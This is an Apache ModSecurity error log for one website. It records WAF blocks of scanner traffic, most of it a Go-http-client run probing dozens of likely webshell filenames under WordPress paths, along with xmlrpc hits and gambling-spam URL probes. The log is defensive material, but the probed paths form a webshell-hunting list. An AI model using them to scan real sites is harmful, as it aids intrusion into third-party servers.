[Sat Apr 11 10:16:38.083270 2026] [:error] [pid 51057:tid 51086] [client 103.4.123.23:49674] [client 103.4.123.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/assets/images/background.png"] [unique_id "admvBvwihVhmIcVvt69MLgAAAZg"], referer: https://measureyourbrand.com.au/assets/style.css
[Sat Apr 11 10:16:38.389086 2026] [:error] [pid 51727:tid 51734] [client 103.4.123.23:60134] [client 103.4.123.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/favicon.ico"] [unique_id "admvBnJxExDpl461hOG3EgAAAMQ"], referer: https://measureyourbrand.com.au/
[Sat Apr 11 11:45:50.503090 2026] [:error] [pid 2187:tid 2245] [client 24.157.184.65:61574] [client 24.157.184.65] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 24.157.184.65, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "adnD7g4J29_qQi0FkjhfzgAAABE"]
[Sat Apr 11 11:55:11.272099 2026] [:error] [pid 11067:tid 11091] [client 203.177.237.112:62505] [client 203.177.237.112] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 203.177.237.112, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "adnGH8W3w7N67R04YCIzIAAAAFY"]
[Sat Apr 11 14:11:35.999838 2026] [:error] [pid 11067:tid 11087] [client 157.15.40.61:55803] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/style.php"] [unique_id "adnmF8W3w7N67R04YCKQNgAAAFI"]
[Sat Apr 11 14:11:36.266289 2026] [:error] [pid 11067:tid 11071] [client 157.15.40.61:55871] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/style.php"] [unique_id "adnmGMW3w7N67R04YCKQQgAAAEI"]
[Sat Apr 11 14:11:36.532029 2026] [:error] [pid 2188:tid 2280] [client 157.15.40.61:55945] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/style.php"] [unique_id "adnmGIDhDA-Xtn2nRScJhwAAANg"]
[Sat Apr 11 14:11:36.801766 2026] [:error] [pid 2186:tid 2218] [client 157.15.40.61:56045] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/style.php"] [unique_id "adnmGMibnOEEvcO8wPL9GQAAAJc"]
[Sat Apr 11 14:11:37.064941 2026] [:error] [pid 2186:tid 2191] [client 157.15.40.61:56118] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style.php"] [unique_id "adnmGcibnOEEvcO8wPL9IAAAAIE"]
[Sat Apr 11 14:11:37.318684 2026] [:error] [pid 11067:tid 11093] [client 157.15.40.61:56186] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/chosen.php"] [unique_id "adnmGcW3w7N67R04YCKQdQAAAFg"]
[Sat Apr 11 14:11:37.583070 2026] [:error] [pid 2186:tid 2199] [client 157.15.40.61:56268] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/file.php"] [unique_id "adnmGcibnOEEvcO8wPL9OQAAAIk"]
[Sat Apr 11 14:11:37.904369 2026] [:error] [pid 2297:tid 2305] [client 157.15.40.61:56392] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/flower.php"] [unique_id "adnmGbXJS-Jji11jZk3ZGAAAAQQ"]
[Sat Apr 11 14:11:38.194856 2026] [:error] [pid 11067:tid 11083] [client 157.15.40.61:56504] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/gifclass.php"] [unique_id "adnmGsW3w7N67R04YCKQxwAAAE4"]
[Sat Apr 11 14:11:41.154083 2026] [:error] [pid 2187:tid 2240] [client 157.15.40.61:56868] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/bless.php"] [unique_id "adnmHQ4J29_qQi0FkjiIZwAAAAw"]
[Sat Apr 11 14:11:42.427627 2026] [:error] [pid 11067:tid 11084] [client 157.15.40.61:57082] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/class-t.api.php"] [unique_id "adnmHsW3w7N67R04YCKRmwAAAE8"]
[Sat Apr 11 14:11:45.685709 2026] [:error] [pid 2186:tid 2220] [client 157.15.40.61:57829] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/blurbs.php"] [unique_id "adnmIcibnOEEvcO8wPL97gAAAJg"]
[Sat Apr 11 14:11:45.949680 2026] [:error] [pid 2297:tid 2306] [client 157.15.40.61:57880] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/akcc.php"] [unique_id "adnmIbXJS-Jji11jZk3aaAAAAQU"]
[Sat Apr 11 14:11:46.206568 2026] [:error] [pid 2188:tid 2278] [client 157.15.40.61:57930] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/abcd.php"] [unique_id "adnmIoDhDA-Xtn2nRScKVwAAANY"]
[Sat Apr 11 14:11:49.790612 2026] [:error] [pid 11067:tid 11092] [client 157.15.40.61:58536] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/shelp.php"] [unique_id "adnmJcW3w7N67R04YCKS4QAAAFc"]
[Sat Apr 11 14:11:50.053919 2026] [:error] [pid 2297:tid 2306] [client 157.15.40.61:58606] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/cord.php"] [unique_id "adnmJrXJS-Jji11jZk3bHAAAAQU"]
[Sat Apr 11 14:11:50.314915 2026] [:error] [pid 2188:tid 2258] [client 157.15.40.61:58684] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/dex.php"] [unique_id "adnmJoDhDA-Xtn2nRScKwAAAAMI"]
[Sat Apr 11 14:11:50.589854 2026] [:error] [pid 2186:tid 2190] [client 157.15.40.61:58765] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/admin-ajax.php"] [unique_id "adnmJsibnOEEvcO8wPL-MgAAAIA"]
[Sat Apr 11 14:11:51.352034 2026] [:error] [pid 2188:tid 2270] [client 157.15.40.61:58920] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/file2.php"] [unique_id "adnmJ4DhDA-Xtn2nRScLAQAAAM4"]
[Sat Apr 11 14:11:51.607284 2026] [:error] [pid 11067:tid 11084] [client 157.15.40.61:58983] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/zwso.php"] [unique_id "adnmJ8W3w7N67R04YCKTQwAAAE8"]
[Sat Apr 11 14:11:51.865884 2026] [:error] [pid 2297:tid 2312] [client 157.15.40.61:59041] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/zwso.php"] [unique_id "adnmJ7XJS-Jji11jZk3bgQAAAQs"]
[Sat Apr 11 14:11:52.122421 2026] [:error] [pid 11067:tid 11069] [client 157.15.40.61:59083] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/hellopress/wp_mna.php"] [unique_id "adnmKMW3w7N67R04YCKTYQAAAEA"]
[Sat Apr 11 14:11:55.695813 2026] [:error] [pid 2188:tid 2256] [client 157.15.40.61:59340] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/bolt.php"] [unique_id "adnmK4DhDA-Xtn2nRScLZwAAAMA"]
[Sat Apr 11 14:11:55.955927 2026] [:error] [pid 11067:tid 11073] [client 157.15.40.61:59859] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/shlo.php"] [unique_id "adnmK8W3w7N67R04YCKUmQAAAEQ"]
[Sat Apr 11 14:11:56.741406 2026] [:error] [pid 11067:tid 11076] [client 157.15.40.61:60037] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/133.php"] [unique_id "adnmLMW3w7N67R04YCKVBgAAAEc"]
[Sat Apr 11 14:11:58.005334 2026] [:error] [pid 2187:tid 2232] [client 157.15.40.61:60079] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/ahax.php"] [unique_id "adnmLg4J29_qQi0FkjiJoQAAAAQ"]
[Sat Apr 11 14:11:59.732184 2026] [:error] [pid 11067:tid 11087] [client 157.15.40.61:60770] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/php8.php"] [unique_id "adnmL8W3w7N67R04YCKWEwAAAFI"]
[Sat Apr 11 14:11:59.990375 2026] [:error] [pid 2187:tid 2240] [client 157.15.40.61:60807] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/lufix1.php"] [unique_id "adnmLw4J29_qQi0FkjiJzQAAAAw"]
[Sat Apr 11 14:12:00.254370 2026] [:error] [pid 2187:tid 2235] [client 157.15.40.61:60866] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/witmm.php"] [unique_id "adnmMA4J29_qQi0FkjiJ1QAAAAc"]
[Sat Apr 11 14:12:01.541504 2026] [:error] [pid 11067:tid 11091] [client 157.15.40.61:60944] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/index.php"] [unique_id "adnmMcW3w7N67R04YCKWgwAAAFY"]
[Sat Apr 11 14:12:01.808291 2026] [:error] [pid 2297:tid 2309] [client 157.15.40.61:61173] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "adnmMbXJS-Jji11jZk3cRgAAAQg"]
[Sat Apr 11 14:12:05.446713 2026] [:error] [pid 2297:tid 2308] [client 157.15.40.61:64325] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/index.php"] [unique_id "adnmNbXJS-Jji11jZk3cnwAAAQc"]
[Sat Apr 11 14:12:08.729033 2026] [:error] [pid 2297:tid 2323] [client 157.15.40.61:65039] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "adnmOLXJS-Jji11jZk3cvwAAARY"]
[Sat Apr 11 14:12:09.995335 2026] [:error] [pid 11067:tid 11084] [client 157.15.40.61:50102] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "adnmOcW3w7N67R04YCKXTgAAAE8"]
[Sat Apr 11 14:12:11.272107 2026] [:error] [pid 2188:tid 2266] [client 157.15.40.61:50274] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/files.php"] [unique_id "adnmO4DhDA-Xtn2nRScMewAAAMo"]
[Sat Apr 11 14:12:14.722638 2026] [:error] [pid 2297:tid 2316] [client 157.15.40.61:51045] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-editor.php"] [unique_id "adnmPrXJS-Jji11jZk3dJAAAAQ8"]
[Sat Apr 11 15:14:24.740968 2026] [:error] [pid 11067:tid 11072] [client 103.129.238.246:55136] [client 103.129.238.246] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.129.238.246, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "adn00MW3w7N67R04YCLCkAAAAEM"]
[Sat Apr 11 19:15:31.855761 2026] [:error] [pid 54610:tid 54618] [client 170.106.192.3:57138] [client 170.106.192.3] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "adotUwe-u3uFASN-RPGsvQAAAQU"]
[Sat Apr 11 21:11:03.776024 2026] [:error] [pid 18629:tid 18635] [client 182.42.111.213:52719] [client 182.42.111.213] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "adpIZ2W1jXPD9CXRfNRklAAAAUQ"]
[Sat Apr 11 21:44:38.232914 2026] [:error] [pid 42313:tid 42333] [client 79.137.64.41:50602] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "adpQRl2P8TxdbaN018IyGQAAABE"]
[Sat Apr 11 21:44:40.540267 2026] [:error] [pid 42313:tid 42331] [client 79.137.64.41:51584] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dg%20casino.aspx"] [unique_id "adpQSF2P8TxdbaN018IyHAAAAA8"]
[Sat Apr 11 21:44:43.016409 2026] [:error] [pid 42313:tid 42337] [client 79.137.64.41:51206] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "adpQS12P8TxdbaN018IyIgAAABU"]
[Sat Apr 11 21:44:45.395127 2026] [:error] [pid 42313:tid 42334] [client 79.137.64.41:51214] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "adpQTV2P8TxdbaN018IyKwAAABI"]
[Sat Apr 11 21:44:47.783019 2026] [:error] [pid 42219:tid 42227] [client 79.137.64.41:51222] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "adpQTw-4IkVbTQx_J-2CtAAAAIQ"]
[Sat Apr 11 21:44:50.319643 2026] [:error] [pid 42313:tid 42338] [client 79.137.64.41:51232] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "adpQUl2P8TxdbaN018IyPgAAABY"]
[Sat Apr 11 21:44:52.711769 2026] [:error] [pid 42313:tid 42318] [client 79.137.64.41:54652] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h25%20com.aspx"] [unique_id "adpQVF2P8TxdbaN018IyTQAAAAI"]
[Sat Apr 11 21:44:55.118275 2026] [:error] [pid 42221:tid 42280] [client 79.137.64.41:54656] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jili%20slot.aspx"] [unique_id "adpQV02gt0pb_0-cc6mJlwAAAEI"]
[Sat Apr 11 21:44:57.435815 2026] [:error] [pid 42220:tid 42258] [client 79.137.64.41:54670] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20slot.aspx"] [unique_id "adpQWUz5c3Cs6a8B5QuE7gAAAMc"]
[Sat Apr 11 21:44:59.967431 2026] [:error] [pid 42313:tid 42323] [client 79.137.64.41:54676] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20vip.aspx"] [unique_id "adpQW12P8TxdbaN018IyZQAAAAc"]
[Sat Apr 11 21:45:02.375782 2026] [:error] [pid 42313:tid 42325] [client 79.137.64.41:38092] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "adpQXl2P8TxdbaN018IybQAAAAk"]
